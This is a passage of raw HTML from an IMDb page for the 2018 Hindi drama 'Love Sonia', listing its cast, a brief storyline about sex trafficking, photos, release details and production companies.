href="/list/ls020624409?ref_=tt_rls_4"><img height="86" width="86" alt="list image" title="list image" src="https://m.media-amazon.com/images/M/MV5BMTg1MTY2MjYzNV5BMl5BanBnXkFtZTgwMTc4NTMwNDI@._V1_UX86_CR0,0,86,86_AL_.jpg" class="loadlate"></a> </div> <div class="list_name"> <strong><a href="/list/ls020624409?ref_=tt_rls_4"> 2018 </a></strong> </div> <div class="list_meta"> a list of 26 titles <br>created 11&nbsp;months&nbsp;ago </div> <div class="clear">&nbsp;</div> </div> <div class="list-preview even"> <div class="list-preview-item-narrow"> <a href="/list/ls062446149?ref_=tt_rls_5"><img height="86" width="86" alt="list image" title="list image" src="https://m.media-amazon.com/images/M/MV5BZjk4ZTMwMTYtOTk1NC00OTA0LWFhMGYtZTBjMzViMDY2YWZjXkEyXkFqcGdeQXVyMTMxODk2OTU@._V1_UX86_CR0,0,86,86_AL_.jpg" class="loadlate"></a> </div> <div class="list_name"> <strong><a href="/list/ls062446149?ref_=tt_rls_5"> pogledati </a></strong> </div> <div class="list_meta"> a list of 28 titles <br>created 15&nbsp;Feb&nbsp;2017 </div> <div class="clear">&nbsp;</div> </div> <div class="see-more"> <a href="/lists/tt3823392?ref_=tt_rls_sm">See all related lists</a>&nbsp;» </div> </div> </div> <script> if (typeof uet == \'function\') { uet("be", "RelatedListsWidget", {wb: 1}); } </script> <script> if (typeof uex == \'function\') { uex("ld", "RelatedListsWidget", {wb: 1}); } </script> <!-- no content received for slot: btf_rhs1 --> <script> if (typeof uet == \'function\') { uet("bb", "TitleMainDetailsRelatedPolls", {wb: 1}); } </script> <script> if (\'csm\' in window) { csm.measure(\'csm_TitleMainDetailsRelatedPolls_started\'); } </script> <div class="mini-article poll-widget-rhs "> <style> .mini-article.poll-widget-rhs ul li { margin-bottom: 0.5em; clear: left; font-weight: bold;} .mini-article.poll-widget-rhs span { margin-bottom: 0.5em; clear: left;} .mini-article.poll-widget-rhs img { float: left; padding: 0 5px 5px 0; height: 86px; width: 86px;} </style> <h3>User Polls</h3> <ul> <li> <a href="/poll/G5AtEV7BQ5A/?ref_=tt_po_i1"><img height="86" width="86" alt="poll image" title="poll image" src="https://m.media-amazon.com/images/G/01/imdb/images/nopicture/medium/unknown-4203433384._CB470041824_.png" class="loadlate" loadlate="https://m.media-amazon.com/images/M/MV5BYzc5MTU4N2EtYTkyMi00NjdhLTg3NWEtMTY4OTEyMzJhZTAzXkEyXkFqcGdeQXVyNjc1NTYyMjg@._V1_SX86_CR0,0,86,86_.jpg"></a> <a href="/poll/G5AtEV7BQ5A/?ref_=tt_po_q1">March Movie Releases in India</a> </li></ul> <div class="see-more"><a href="/poll/?ref_=tt_po_sm">See more polls »</a></div> </div> <script> if (\'csm\' in window) { csm.measure(\'csm_TitleMainDetailsRelatedPolls_finished\'); } </script> <script> if (typeof uet == \'function\') { uet("be", "TitleMainDetailsRelatedPolls", {wb: 1}); } </script> <script> if (typeof uex == \'function\') { uex("ld", "TitleMainDetailsRelatedPolls", {wb: 1}); } </script> <!-- no content received for slot: bottom_rhs --> </div> <div id="main_bottom" class="main"> <script> if (typeof uet == \'function\') { uet("bb", "TitleProductionNotesWidget", {wb: 1}); } </script> <script> if (\'csm\' in window) { csm.measure(\'csm_TitleProductionNotesWidget_started\'); } </script> <div class="article" id="titleProduction"> <h2>Production Notes from IMDbPro</h2> <b>Status: </b> Post-production <span class="ghost">|</span> See complete list of <span class="see-more inline"><a href="https://pro.imdb.com/inproduction?rf=cons_tt_prodnotes_list&amp;ref_=cons_tt_prodnotes_list" itemprop="url">in-production titles</a></span>&nbsp;» <br><b>Updated: </b> 5 March 2018 <br><b>More Info: </b> See more <a href="https://pro.imdb.com/title/tt3823392?rf=cons_tt_prodnotes_seemore&amp;ref_=cons_tt_prodnotes_seemore">production information</a> about this title on <a href="https://pro.imdb.com/?rf=cons_tt_prodnotes_seemore&amp;ref_=cons_tt_prodnotes_seemore">IMDbPro</a>. </div> <script> if (\'csm\' in window) { csm.measure(\'csm_TitleProductionNotesWidget_finished\'); } </script> <script> if (typeof uet == \'function\') { uet("be", "TitleProductionNotesWidget", {wb: 1}); } </script> <script> if (typeof uex == \'function\') { uex("ld", "TitleProductionNotesWidget", {wb: 1}); } </script> <a name="slot_center-8"></a> <div class="article"> <script type="text/javascript">if(typeof uet === \'function\'){uet(\'bb\',\'TrendingPromotionWidget\',{wb:1});}</script> <span class="ab_widget"> <div class="ab_widget"> <span class="widget_header"> <span class="oneline"> <a href="/india/hindi?pf_rd_m=A2FGELUUNOQJNL&amp;pf_rd_p=281346c7-84c0-484e-9e3e-eaa3ff3f16b4&amp;pf_rd_r=RC4M9JGT86H72N9QM0HS&amp;pf_rd_s=center-8&amp;pf_rd_t=15021&amp;pf_rd_i=tt3823392&amp;ref_=tt_tp_hd"> <h3> Trending Hindi Movies and Shows</h3> </a> </span> </span> <div class="widget_content no_inline_blurb"> <div class="widget_nested"> <div class="ninja_image_pack"> <div class="ninja_left"> <div class="ninja_image first_image" style="width:116px;height:auto;"> <div style="width:116px;height:auto;margin:0 auto;"> <div class="widget_image"> <div class="image"> <a href="/title/tt6077448/?pf_rd_m=A2FGELUUNOQJNL&amp;pf_rd_p=281346c7-84c0-484e-9e3e-eaa3ff3f16b4&amp;pf_rd_r=RC4M9JGT86H72N9QM0HS&amp;pf_rd_s=center-8&amp;pf_rd_t=15021&amp;pf_rd_i=tt3823392&amp;ref_=tt_tp_i_1"> <img class="pri_image" title="Sacred Games (2018-)" alt="Sacred Games (2018-)" src="https://m.media-amazon.com/images/M/MV5BNGUzYzFjYzgtNzMzYi00NmUwLTlhNDQtOTIyMjkyYmMyN2FiXkEyXkFqcGdeQXVyODE5NzE3OTE@._V1_SY172_CR0,0,116,172_AL_.jpg"> </a> </div> <div class="widget_caption caption_below"> <div class="primary"> <a href="/title/tt6077448/?pf_rd_m=A2FGELUUNOQJNL&amp;pf_rd_p=281346c7-84c0-484e-9e3e-eaa3ff3f16b4&amp;pf_rd_r=RC4M9JGT86H72N9QM0HS&amp;pf_rd_s=center-8&amp;pf_rd_t=15021&amp;pf_rd_i=tt3823392&amp;ref_=tt_tp_cap_pri_1"> <i>Sacred Games</i> </a> </div> </div> </div> </div> </div><div class="ninja_image ninja_image_fixed_padding widget_padding"></div><div class="ninja_image" style="width:116px;height:auto;"> <div style="width:116px;height:auto;margin:0 auto;"> <div class="widget_image"> <div class="image"> <a href="/title/tt7431594/?pf_rd_m=A2FGELUUNOQJNL&amp;pf_rd_p=281346c7-84c0-484e-9e3e-eaa3ff3f16b4&amp;pf_rd_r=RC4M9JGT86H72N9QM0HS&amp;pf_rd_s=center-8&amp;pf_rd_t=15021&amp;pf_rd_i=tt3823392&amp;ref_=tt_tp_i_2"> <img class="pri_image" title="Race 3 (2018)" alt="Race 3 (2018)" src="https://m.media-amazon.com/images/M/MV5BMzQ4ZTc5ZTItYWRhNi00YTJjLWI4NGMtNjA0ODQ1ZDQxNzkyXkEyXkFqcGdeQXVyNjc4NjAxMzM@._V1_SY172_CR6,0,116,172_AL_.jpg"> </a> </div> <div class="widget_caption caption_below"> <div class="primary"> <a href="/title/tt7431594/?pf_rd_m=A2FGELUUNOQJNL&amp;pf_rd_p=281346c7-84c0-484e-9e3e-eaa3ff3f16b4&amp;pf_rd_r=RC4M9JGT86H72N9QM0HS&amp;pf_rd_s=center-8&amp;pf_rd_t=15021&amp;pf_rd_i=tt3823392&amp;ref_=tt_tp_cap_pri_2"> <i>Race 3</i> </a> </div> </div> </div> </div> </div><div class="ninja_image ninja_image_fixed_padding widget_padding"></div><div class="ninja_image" style="width:116px;height:auto;"> <div style="width:116px;height:auto;margin:0 auto;"> <div class="widget_image"> <div class="image"> <a href="/title/tt8202612/?pf_rd_m=A2FGELUUNOQJNL&amp;pf_rd_p=281346c7-84c0-484e-9e3e-eaa3ff3f16b4&amp;pf_rd_r=RC4M9JGT86H72N9QM0HS&amp;pf_rd_s=center-8&amp;pf_rd_t=15021&amp;pf_rd_i=tt3823392&amp;ref_=tt_tp_i_3"> <img class="pri_image" title="Satyameva Jayate (2018)" alt="Satyameva Jayate (2018)" src="https://m.media-amazon.com/images/M/MV5BYzYxNGI3MmYtMWQyMi00NmViLWE0ZWQtNWM5ZTY3NTIxNzU0XkEyXkFqcGdeQXVyODE5NzE3OTE@._V1_SY172_CR1,0,116,172_AL_.jpg"> </a> </div> <div class="widget_caption caption_below"> <div class="primary"> <a href="/title/tt8202612/?pf_rd_m=A2FGELUUNOQJNL&amp;pf_rd_p=281346c7-84c0-484e-9e3e-eaa3ff3f16b4&amp;pf_rd_r=RC4M9JGT86H72N9QM0HS&amp;pf_rd_s=center-8&amp;pf_rd_t=15021&amp;pf_rd_i=tt3823392&amp;ref_=tt_tp_cap_pri_3"> <i>Satyameva Jayate</i> </a> </div> </div> </div> </div> </div><div class="ninja_image ninja_image_fixed_padding widget_padding"></div><div class="ninja_image" style="width:116px;height:auto;"> <div style="width:116px;height:auto;margin:0 auto;"> <div class="widget_image"> <div class="image"> <a href="/title/tt6452574/?pf_rd_m=A2FGELUUNOQJNL&amp;pf_rd_p=281346c7-84c0-484e-9e3e-eaa3ff3f16b4&amp;pf_rd_r=RC4M9JGT86H72N9QM0HS&amp;pf_rd_s=center-8&amp;pf_rd_t=15021&amp;pf_rd_i=tt3823392&amp;ref_=tt_tp_i_4"> <img class="pri_image" title="Sanju (2018)" alt="Sanju (2018)" src="https://m.media-amazon.com/images/M/MV5BMjI3NTM1NzMyNF5BMl5BanBnXkFtZTgwOTE4NTgzNTM@._V1_SY172_CR4,0,116,172_AL_.jpg"> </a> </div> <div class="widget_caption caption_below"> <div class="primary"> <a href="/title/tt6452574/?pf_rd_m=A2FGELUUNOQJNL&amp;pf_rd_p=281346c7-84c0-484e-9e3e-eaa3ff3f16b4&amp;pf_rd_r=RC4M9JGT86H72N9QM0HS&amp;pf_rd_s=center-8&amp;pf_rd_t=15021&amp;pf_rd_i=tt3823392&amp;ref_=tt_tp_cap_pri_4"> <i>Sanju</i> </a> </div> </div> </div> </div> </div><div class="ninja_image ninja_image_fixed_padding widget_padding"></div><div class="ninja_image last_image" style="width:116px;height:auto;"> <div style="width:116px;height:auto;margin:0 auto;"> <div class="widget_image"> <div class="image"> <a href="/title/tt6173990/?pf_rd_m=A2FGELUUNOQJNL&amp;pf_rd_p=281346c7-84c0-484e-9e3e-eaa3ff3f16b4&amp;pf_rd_r=RC4M9JGT86H72N9QM0HS&amp;pf_rd_s=center-8&amp;pf_rd_t=15021&amp;pf_rd_i=tt3823392&amp;ref_=tt_tp_i_5"> <img class="pri_image" title="Gold (2018)" alt="Gold (2018)" src="https://m.media-amazon.com/images/M/MV5BM2QwNmIzNzEtMzlhMS00MmU1LWFjZGYtNjc5ZTg3NTE5MWY1XkEyXkFqcGdeQXVyODE5NzE3OTE@._V1_SY172_CR0,0,116,172_AL_.jpg"> </a> </div> <div class="widget_caption caption_below"> <div class="primary"> <a href="/title/tt6173990/?pf_rd_m=A2FGELUUNOQJNL&amp;pf_rd_p=281346c7-84c0-484e-9e3e-eaa3ff3f16b4&amp;pf_rd_r=RC4M9JGT86H72N9QM0HS&amp;pf_rd_s=center-8&amp;pf_rd_t=15021&amp;pf_rd_i=tt3823392&amp;ref_=tt_tp_cap_pri_5"> <i>Gold</i> </a> </div> </div> </div> </div> </div> </div> </div> </div> </div> <p class="seemore"><a href="/india/hindi?pf_rd_m=A2FGELUUNOQJNL&amp;pf_rd_p=281346c7-84c0-484e-9e3e-eaa3ff3f16b4&amp;pf_rd_r=RC4M9JGT86H72N9QM0HS&amp;pf_rd_s=center-8&amp;pf_rd_t=15021&amp;pf_rd_i=tt3823392&amp;ref_=tt_tp_sm" class="position_bottom supplemental"> See what\'s trending now</a></p> </div> </span> <script type="text/javascript"> if(typeof uex === \'function\'){uex(\'ld\',\'TrendingPromotionWidget\',{wb:1});} </script> </div> <script> if (typeof uet == \'function\') { uet("bb", "TitleMediaStripWidget", {wb: 1}); } </script> <script> if (\'csm\' in window) { csm.measure(\'csm_TitleMediaStripWidget_started\'); } </script> <div class="article" id="titleImageStrip"> <h2>Photos</h2> <div class="mediastrip"> <a href="/title/tt3823392/mediaviewer/rm1900884480?context=default&amp;ref_=tt_pv_md_1"><img height="99" width="99" alt="Tabrez Noorani in Love Sonia (2018)" title="Tabrez Noorani in Love Sonia (2018)" src="https://m.media-amazon.com/images/M/MV5BNDI1MjUyNWMtMmJlNi00NzIzLWJhMzMtMGI4N2FkNGUyOWE4XkEyXkFqcGdeQXVyMjUzNTAyMjg@._V1_UY99_UX99_AL_.jpg" class="loadlate"></a> <a href="/title/tt3823392/mediaviewer/rm1294415616?context=default&amp;ref_=tt_pv_md_2"><img height="99" width="99" alt="Manoj Bajpayee and Freida Pinto in Love Sonia (2018)" title="Manoj Bajpayee and Freida Pinto in Love Sonia (2018)" src="https://m.media-amazon.com/images/M/MV5BZTQwMjZkN2QtZGIwMi00ZjlmLWEyZjctZDBlOWQ3OTI3MGU2XkEyXkFqcGdeQXVyMTExNDQ2MTI@._V1_UY99_CR25,0,99,99_AL_.jpg" class="loadlate"></a> <a href="/title/tt3823392/mediaviewer/rm2360422912?context=default&amp;ref_=tt_pv_md_3"><img height="99" width="99" alt="Barbie Rajput in Love Sonia (2018)" title="Barbie Rajput in Love Sonia (2018)" src="https://m.media-amazon.com/images/M/MV5BYzI0NDI0MTAtOGIyZS00ZWNmLTllMmUtMWM5OTQwODRmYmMwXkEyXkFqcGdeQXVyMTExNDQ2MTI@._V1_UY99_CR19,0,99,99_AL_.jpg" class="loadlate"></a> <a href="/title/tt3823392/mediaviewer/rm2324832256?context=default&amp;ref_=tt_pv_md_4"><img height="99" width="99" alt="Love Sonia (2018)" title="Love Sonia (2018)" src="https://m.media-amazon.com/images/M/MV5BNzRmNjNiYjMtNWQwZi00MGZjLTg5NjQtN2M0MjcwZjVkYTU0XkEyXkFqcGdeQXVyMDE3NTIwOA@@._V1_UY99_CR24,0,99,99_AL_.jpg" class="loadlate"></a> <a href="/title/tt3823392/mediaviewer/rm2695967232?context=default&amp;ref_=tt_pv_md_5"><img height="99" width="99" alt="Anupam Kher and Adil Hussain in Love Sonia (2018)" title="Anupam Kher and Adil Hussain in Love Sonia (2018)" src="https://m.media-amazon.com/images/M/MV5BMTg1ZmY4ZDQtNWZlNy00N2MxLTg2NDMtNWI2OWUzZTZhN2VhXkEyXkFqcGdeQXVyMTExNDQ2MTI@._V1_UY99_CR19,0,99,99_AL_.jpg" class="loadlate"></a> <a href="/title/tt3823392/mediaviewer/rm2259759616?context=default&amp;ref_=tt_pv_md_6"><img height="99" width="99" alt="Love Sonia (2018)" title="Love Sonia (2018)" src="https://m.media-amazon.com/images/M/MV5BOTJiOWE3NjMtNGJjMy00NTkxLThhYzItN2M4YTMwNWRiMGY1XkEyXkFqcGdeQXVyMTExNDQ2MTI@._V1_UY99_CR16,0,99,99_AL_.jpg" class="loadlate"></a> </div> <div class="combined-see-more see-more"> <a href="/title/tt3823392/mediaindex?ref_=tt_pv_mi_sm"><span class="titlePageSprite showAllVidsAndPics"></span></a> <a href="/title/tt3823392/mediaindex?ref_=tt_pv_mi_sm"> See all 26 photos</a>&nbsp;» </div> </div> <script> if (\'csm\' in window) { csm.measure(\'csm_TitleMediaStripWidget_finished\'); } </script> <script> if (typeof uet == \'function\') { uet("be", "TitleMediaStripWidget", {wb: 1}); } </script> <script> if (typeof uex == \'function\') { uex("ld", "TitleMediaStripWidget", {wb: 1}); } </script> <script> if (typeof uet == \'function\') { uet("bb", "TitleRecsWidget", {wb: 1}); } </script> <script> if (\'csm\' in window) { csm.measure(\'csm_TitleRecsWidget_started\'); } </script> <script> if (\'csm\' in window) { csm.measure(\'csm_TitleRecsWidget_finished\'); } </script> <script> if (typeof uet == \'function\') { uet("be", "TitleRecsWidget", {wb: 1}); } </script> <script> if (typeof uex == \'function\') { uex("ld", "TitleRecsWidget", {wb: 1}); } </script> <script> if (typeof uet == \'function\') { uet("bb", "TitleCastWidget", {wb: 1}); } </script> <script> if (\'csm\' in window) { csm.measure(\'csm_TitleCastWidget_started\'); } </script> <div class="article" id="titleCast"> <span class="rightcornerlink"> <a href="https://contribute.imdb.com/updates?edit=tt3823392/cast&amp;ref_=tt_cl">Edit</a> </span> <h2>Cast</h2> <table class="cast_list"> <tbody><tr><td colspan="4" class="castlist_label">Credited cast, sorted by IMDb STARmeter:</td></tr> <tr class="odd"> <td class="primary_photo"> <a href="/name/nm0000193/?ref_=tt_cl_i1"><img height="44" width="32" alt="Demi Moore" title="Demi Moore" src="https://m.media-amazon.com/images/M/MV5BMTc2Mjc1MDE4MV5BMl5BanBnXkFtZTcwNzAyNDczNA@@._V1_UY44_CR0,0,32,44_AL_.jpg" class="loadlate"></a> </td> <td> <a href="/name/nm0000193/?ref_=tt_cl_t1"> Demi Moore </a> </td> <td class="ellipsis"> ... </td> <td class="character"> Selma </td> </tr> <tr class="even"> <td class="primary_photo"> <a href="/name/nm0243233/?ref_=tt_cl_i2"><img height="44" width="32" alt="Mark Duplass" title="Mark Duplass" src="https://m.media-amazon.com/images/M/MV5BNzlhNjUwMTQtMWRlZC00N2VlLTk0MjctMjI0NmI2ZWRkMDkzXkEyXkFqcGdeQXVyMjA5MTEzMA@@._V1_UY44_CR0,0,32,44_AL_.jpg" class="loadlate"></a> </td> <td> <a href="/name/nm0243233/?ref_=tt_cl_t2"> Mark Duplass </a> </td> <td class="ellipsis"> </td> <td class="character"> </td> </tr> <tr class="odd"> <td class="primary_photo"> <a href="/name/nm2951768/?ref_=tt_cl_i3"><img height="44" width="32" alt="Freida Pinto" title="Freida Pinto" src="https://m.media-amazon.com/images/M/MV5BMTg5NDI0MzM0NF5BMl5BanBnXkFtZTcwOTQ4NTIwNw@@._V1_UX32_CR0,0,32,44_AL_.jpg" class="loadlate"></a> </td> <td> <a href="/name/nm2951768/?ref_=tt_cl_t3"> Freida Pinto </a> </td> <td class="ellipsis"> ... </td> <td class="character"> <a href="/title/tt3823392/characters/nm2951768?ref_=tt_cl_t3">Rashmi</a> </td> </tr> <tr class="even"> <td class="primary_photo"> <a href="/name/nm1865834/?ref_=tt_cl_i4"><img height="44" width="32" alt="Aarti Mann" title="Aarti Mann" src="https://m.media-amazon.com/images/M/MV5BMTg5MzY0ODQ1MF5BMl5BanBnXkFtZTgwODIwNjUxNjE@._V1_UX32_CR0,0,32,44_AL_.jpg" class="loadlate"></a> </td> <td> <a href="/name/nm1865834/?ref_=tt_cl_t4"> Aarti Mann </a> </td> <td class="ellipsis"> ... </td> <td class="character"> Jiah </td> </tr> <tr class="odd"> <td class="primary_photo"> <a href="/name/nm8061218/?ref_=tt_cl_i5"><img height="44" width="32" alt="Sunny Pawar" title="Sunny Pawar" src="https://m.media-amazon.com/images/M/MV5BMjE2NDcyMDM2MF5BMl5BanBnXkFtZTgwNzQ1NjYzMTI@._V1_UX32_CR0,0,32,44_AL_.jpg" class="loadlate"></a> </td> <td> <a href="/name/nm8061218/?ref_=tt_cl_t5"> Sunny Pawar </a> </td> <td class="ellipsis"> ... </td> <td class="character"> <a href="/title/tt3823392/characters/nm8061218?ref_=tt_cl_t5">Bang Bang</a> </td> </tr> <tr class="even"> <td class="primary_photo"> <a href="/name/nm3822770/?ref_=tt_cl_i6"><img height="44" width="32" alt="Rajkummar Rao" title="Rajkummar Rao" src="https://m.media-amazon.com/images/M/MV5BMTYyNDgyMDQxNl5BMl5BanBnXkFtZTgwMDQ4ODg0NzE@._V1_UX32_CR0,0,32,44_AL_.jpg" class="loadlate"></a> </td> <td> <a href="/name/nm3822770/?ref_=tt_cl_t6"> Rajkummar Rao </a> </td> <td class="ellipsis"> ... </td> <td class="character"> <a href="/title/tt3823392/characters/nm3822770?ref_=tt_cl_t6">Manish</a> </td> </tr> <tr class="odd"> <td class="primary_photo"> <a href="/name/nm0451600/?ref_=tt_cl_i7"><img height="44" width="32" alt="Anupam Kher" title="Anupam Kher" src="https://m.media-amazon.com/images/M/MV5BMjMyMjc1OTgzNF5BMl5BanBnXkFtZTgwMDY1NDMzOTE@._V1_UX32_CR0,0,32,44_AL_.jpg" class="loadlate"></a> </td> <td> <a href="/name/nm0451600/?ref_=tt_cl_t7"> Anupam Kher </a> </td> <td class="ellipsis"> ... </td> <td class="character"> <a href="/title/tt3823392/characters/nm0451600?ref_=tt_cl_t7">Baldev Pratap Singh</a> </td> </tr> <tr class="even"> <td class="primary_photo"> <a href="/name/nm0048075/?ref_=tt_cl_i8"><img height="44" width="32" alt="Manoj Bajpayee" title="Manoj Bajpayee" src="https://m.media-amazon.com/images/M/MV5BMzUxODk5MmEtZGQxOC00NzUxLWI5YTEtYWFjMjZmZTIwNTA5XkEyXkFqcGdeQXVyMTExNDQ2MTI@._V1_UY44_CR0,0,32,44_AL_.jpg" class="loadlate"></a> </td> <td> <a href="/name/nm0048075/?ref_=tt_cl_t8"> Manoj Bajpayee </a> </td> <td class="ellipsis"> ... </td> <td class="character"> <a href="/title/tt3823392/characters/nm0048075?ref_=tt_cl_t8">Faizal</a> </td> </tr> <tr class="odd"> <td class="primary_photo"> <a href="/name/nm3190246/?ref_=tt_cl_i9"><img height="44" width="32" alt="Richa Chadha" title="Richa Chadha" src="https://m.media-amazon.com/images/M/MV5BMTU1OTAyMTA3OV5BMl5BanBnXkFtZTgwNDQ0ODAyODE@._V1_UX32_CR0,0,32,44_AL_.jpg" class="loadlate"></a> </td> <td> <a href="/name/nm3190246/?ref_=tt_cl_t9"> Richa Chadha </a> </td> <td class="ellipsis"> ... </td> <td class="character"> <a href="/title/tt3823392/characters/nm3190246?ref_=tt_cl_t9">Madhuri</a> </td> </tr> <tr class="even"> <td class="primary_photo"> <a href="/name/nm2507229/?ref_=tt_cl_i10"><img height="44" width="32" alt="Zoran Korach" title="Zoran Korach" src="https://m.media-amazon.com/images/M/MV5BMjA0MDI2MDA1M15BMl5BanBnXkFtZTcwMzI0MDkzNw@@._V1_UX32_CR0,0,32,44_AL_.jpg" class="loadlate"></a> </td> <td> <a href="/name/nm2507229/?ref_=tt_cl_t10"> Zoran Korach </a> </td> <td class="ellipsis"> ... </td> <td class="character"> Bodyguard </td> </tr> <tr class="odd"> <td class="primary_photo"> <a href="/name/nm2493488/?ref_=tt_cl_i11"><img height="44" width="32" alt="Luna Rioumina" title="Luna Rioumina" src="https://m.media-amazon.com/images/M/MV5BMjk0MzkzNTkzOF5BMl5BanBnXkFtZTgwMDA3NTA1MDI@._V1_UX32_CR0,0,32,44_AL_.jpg" class="loadlate"></a> </td> <td> <a href="/name/nm2493488/?ref_=tt_cl_t11"> Luna Rioumina </a> </td> <td class="ellipsis"> ... </td> <td class="character"> Svetlana </td> </tr> <tr class="even"> <td class="primary_photo"> <a href="/name/nm2652120/?ref_=tt_cl_i12"><img height="44" width="32" alt="Kathryn Le" title="Kathryn Le" src="https://m.media-amazon.com/images/M/MV5BNmQ3MDFkNWQtZGMzNy00ODQzLWFkZDMtNjc5NTNmYzgwM2QxXkEyXkFqcGdeQXVyMTY0MzY0NzI@._V1_UY44_CR3,0,32,44_AL_.jpg" class="loadlate"></a> </td> <td> <a href="/name/nm2652120/?ref_=tt_cl_t12"> Kathryn Le </a> </td> <td class="ellipsis"> ... </td> <td class="character"> Party guest </td> </tr> <tr class="odd"> <td class="primary_photo"> <a href="/name/nm1300009/?ref_=tt_cl_i13"><img height="44" width="32" alt="Adil Hussain" title="Adil Hussain" src="https://m.media-amazon.com/images/M/MV5BMjE3OTAyNDU1Nl5BMl5BanBnXkFtZTcwMzI1MzUxOQ@@._V1_UX32_CR0,0,32,44_AL_.jpg" class="loadlate"></a> </td> <td> <a href="/name/nm1300009/?ref_=tt_cl_t13"> Adil Hussain </a> </td> <td class="ellipsis"> ... </td> <td class="character"> <a href="/title/tt3823392/characters/nm1300009?ref_=tt_cl_t13">Shiva</a> </td> </tr> <tr class="even"> <td class="primary_photo"> <a href="/name/nm8066738/?ref_=tt_cl_i14"><img height="44" width="32" alt="Abhishek Bharate" title="Abhishek Bharate" src="https://m.media-amazon.com/images/M/MV5BZjA1NzExZjgtZWVmMS00Mzk3LTg2MzItMzgwZjBhMmM4NjVlXkEyXkFqcGdeQXVyMTExNDQ2MTI@._V1_UY44_CR17,0,32,44_AL_.jpg" class="loadlate"></a> </td> <td> <a href="/name/nm8066738/?ref_=tt_cl_t14"> Abhishek Bharate </a> </td> <td class="ellipsis"> ... </td> <td class="character"> <a href="/title/tt3823392/characters/nm8066738?ref_=tt_cl_t14">Amar</a> </td> </tr> <tr class="odd"> <td class="primary_photo"> <a href="/name/nm3256907/?ref_=tt_cl_i15"><img height="44" width="32" alt="Sai Tamhankar" title="Sai Tamhankar" src="https://m.media-amazon.com/images/M/MV5BM2IxZjFiMTktMzkxNy00MDZlLWEyMjEtZWZkMjcxMTMwNzU0XkEyXkFqcGdeQXVyMTgwMjgwMjM@._V1_UY44_CR11,0,32,44_AL_.jpg" class="loadlate"></a> </td> <td> <a href="/name/nm3256907/?ref_=tt_cl_t15"> Sai Tamhankar </a> </td> <td class="ellipsis"> ... </td> <td class="character"> <a href="/title/tt3823392/characters/nm3256907?ref_=tt_cl_t15">Anjali</a> </td> </tr> </tbody></table> <div class="see-more"> <a href="fullcredits?ref_=tt_cl_sm#cast">See full cast</a>&nbsp;» </div> </div> <script> if (\'csm\' in window) { csm.measure(\'csm_TitleCastWidget_finished\'); } </script> <script> if (typeof uet == \'function\') { uet("be", "TitleCastWidget", {wb: 1}); } </script> <script> if (typeof uex == \'function\') { uex("ld", "TitleCastWidget", {wb: 1}); } </script> <!-- no content received for slot: maindetails_center_ad --> <script> if (typeof uet == \'function\') { uet("bb", "TitleStorylineWidget", {wb: 1}); } </script> <script> if (\'csm\' in window) { csm.measure(\'csm_TitleStorylineWidget_started\'); } </script> <div class="article" id="titleStoryLine"> <span class="rightcornerlink"> <a href="https://contribute.imdb.com/updates?edit=tt3823392/storyline&amp;ref_=tt_stry">Edit</a> </span> <h2>Storyline</h2> <div class="inline canwrap"> <p> <span> Inspired by real life events, Love Sonia is the story of a young girl\'s journey to rescue her sister from the dangerous world of international sex trafficking.</span> </p> </div> <span class="see-more inline"> <a href="/title/tt3823392/plotsummary?ref_=tt_stry_pl">Plot Summary</a> <span>|</span> <a href="https://contribute.imdb.com/updates?update=tt3823392%3Asynopsis.add.1&amp;ref_=tt_stry_pl">Add Synopsis</a> </span> <hr> <div class="see-more inline canwrap"> <h4 class="inline">Genres:</h4> <a href="/genre/Drama?ref_=tt_stry_gnr"> Drama</a> </div> <hr> <div class="txt-block"> </div> <div class="txt-block"> <h4 class="inline">Parents Guide:</h4> <span class="see-more inline"> <a href="/title/tt3823392/parentalguide?ref_=tt_stry_pg"> Add content advisory for parents</a>&nbsp;» </span> </div> </div> <script> if (\'csm\' in window) { csm.measure(\'csm_TitleStorylineWidget_finished\'); } </script> <script> if (typeof uet == \'function\') { uet("be", "TitleStorylineWidget", {wb: 1}); } </script> <script> if (typeof uex == \'function\') { uex("ld", "TitleStorylineWidget", {wb: 1}); } </script> <script> if (typeof uet == \'function\') { uet("bb", "TitleDetailsWidget", {wb: 1}); } </script> <script> if (\'csm\' in window) { csm.measure(\'csm_TitleDetailsWidget_started\'); } </script> <div class="article" id="titleDetails"> <span class="rightcornerlink"> <a href="https://contribute.imdb.com/updates?edit=tt3823392/details&amp;ref_=tt_dt_dt">Edit</a> </span> <h2>Details</h2> <div class="txt-block"> <h4 class="inline">Official Sites:</h4> <a href="/offsite/?page-action=offsite-lovesonia&amp;token=BCYq_5i9_5d1Hx9So0q6nR0VrAILtQYaYBLxENJqITkMHN8BrMiqcGmU3WHx6muPO_9ilsYzhtAP%0D%0A-ipAIyEy3PdRI1RRqgfMDn6NxT5g9GZxmpmZf_HrCmVtkFbSVo16xBC7JF7m6gYyFUZYwsgeWhAH%0D%0A-_F4sY0Bed6ham-SB-FaRhniDDbjUP_26akdIIZhC85K0UGgE7H8u6SpWCSSXGyXvPKIzOw4c6t9%0D%0AcNreExrPTYA%0D%0A&amp;ref_=tt_pdt_ofs_offsite_0" rel="nofollow">Official site</a> <span class="see-more inline"> </span> </div> <div class="txt-block"> <h4 class="inline">Country:</h4> <a href="/search/title?country_of_origin=in&amp;ref_=tt_dt_dt">India</a> </div> <div class="txt-block"> <h4 class="inline">Language:</h4> <a href="/search/title?title_type=feature&amp;primary_language=hi&amp;sort=moviemeter,asc&amp;ref_=tt_dt_dt">Hindi</a> </div> <div class="txt-block"> <h4 class="inline">Release Date:</h4> 14 September 2018 (India) <span class="see-more inline"> <a href="releaseinfo?ref_=tt_dt_dt">See more</a>&nbsp;» </span> </div> <div class="txt-block"> <h4 class="inline">Filming Locations:</h4> <a href="/search/title?locations=Mumbai,%20India&amp;ref_=tt_dt_dt">Mumbai, India</a> <span class="see-more inline"> <a href="locations?ref_=tt_dt_dt">See more</a>&nbsp;» </span> </div> <hr> <h3 class="subheading">Company Credits</h3> <div class="txt-block"> <h4 class="inline">Production Co:</h4> <a href="/company/co0477596?ref_=cons_tt_dt_co_1">Big Stuff</a>,<a href="/company/co0210547?ref_=cons_tt_dt_co_2">India Take One Productions</a>,<a href="/company/co0399459?ref_=cons_tt_dt_co_3">Tamasha Talkies</a> <span class="see-more inline"> <a href="companycredits?ref_=tt_dt_co">See more</a>&nbsp;» </span> </div> <div class="txt-block"> Show more on <a href="https://pro.imdb.com/title/tt3823392/companycredits?rf=cons_tt_cocred_tt&amp;ref_=cons_tt_cocred_tt">IMDbPro</a>&nbsp;» </div> <hr> <h3 class="subheading">Technical Specs</h3> <div class="txt-block"> <h4 class="inline">Sound Mix:</h4> <a 